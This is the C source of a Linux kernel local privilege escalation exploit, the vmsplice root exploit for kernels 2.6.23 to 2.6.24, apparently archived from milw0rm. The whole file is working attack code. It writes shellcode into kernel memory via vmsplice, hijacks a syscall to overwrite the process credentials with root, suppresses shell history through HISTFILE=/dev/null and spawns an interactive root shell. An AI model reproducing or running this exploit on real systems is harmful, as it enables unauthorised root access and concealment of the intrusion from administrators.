Linux Kernel 2.6.23 - 2.6.24 vmsplice Local Root Exploit/* * diane_lane_fucked_hard.c * * Linux vmsplice Local Root Exploit * By qaaz * * Linux 2.6.23 - 2.6.24 */ #define _GNU_SOURCE #include #include #include #include #include #include #define TARGET_PATTERN " sys_vm86old" #define TARGET_SYSCALL 113 #ifndef __NR_vmsplice #define __NR_vmsplice 316 #endif #define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl)) #define gimmeroot() syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4) #define TRAMP_CODE (void *) trampoline #define TRAMP_SIZE ( sizeof(trampoline) - 1 ) unsigned char trampoline[] = "\x8b\x5c\x24\x04" /* mov 0x4(%esp),%ebx */ "\x8b\x4c\x24\x08" /* mov 0x8(%esp),%ecx */ "\x81\xfb\x69\x7a\x00\x00" /* cmp $31337,%ebx */ "\x75\x02" /* jne +2 */ "\xff\xd1" /* call *%ecx */ "\xb8\xea\xff\xff\xff" /* mov $-EINVAL,%eax */ "\xc3" /* ret */ ; void die(char *msg, int err) { printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err)); fflush(stdout); fflush(stderr); exit(1); } long get_target() { FILE *f; long addr = 0; char line[128]; f = fopen("/proc/kallsyms", "r"); if (!f) die("/proc/kallsyms", errno); while (fgets(line, sizeof(line), f)) { if (strstr(line, TARGET_PATTERN)) { addr = strtoul(line, NULL, 16); break; } } fclose(f); return addr; } static inline __attribute__((always_inline)) void * get_current() { unsigned long curr; __asm__ __volatile__ ( "movl %%esp, %%eax ;" "andl %1, %%eax ;" "movl (%%eax), %0" : "=r" (curr) : "i" (~8191) ); return (void *) curr; } static uint uid, gid; void kernel_code() { int i; uint *p = get_current(); for (i = 0; i < 1024-13; i++) { if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) { p[0] = p[1] = p[2] = p[3] = 0; p[4] = p[5] = p[6] = p[7] = 0; p = (uint *) ((char *)(p + 8) + sizeof(void *)); p[0] = p[1] = p[2] = ~0; break; } p++; } } int main(int argc, char *argv[]) { int pi[2]; long addr; struct iovec iov; uid = getuid(); gid = getgid(); setresuid(uid, uid, uid); setresgid(gid, gid, gid); printf("-----------------------------------\n"); printf(" Linux vmsplice Local Root Exploit\n"); printf(" By qaaz\n"); printf("-----------------------------------\n"); if (!uid || !gid) die("!@#$", 0); addr = get_target(); printf("[+] addr: 0x%lx\n", addr); if (pipe(pi) < 0) die("pipe", errno); iov.iov_base = (void *) addr; iov.iov_len = TRAMP_SIZE; write(pi[1], TRAMP_CODE, TRAMP_SIZE); _vmsplice(pi[0], &iov, 1, 0); gimmeroot(); if (getuid() != 0) die("wtf", 0); printf("[+] root\n"); putenv("HISTFILE=/dev/null"); execl("/bin/bash", "bash", "-i", NULL); die("/bin/bash", errno); return 0; } // milw0rm.com [2008-02-09]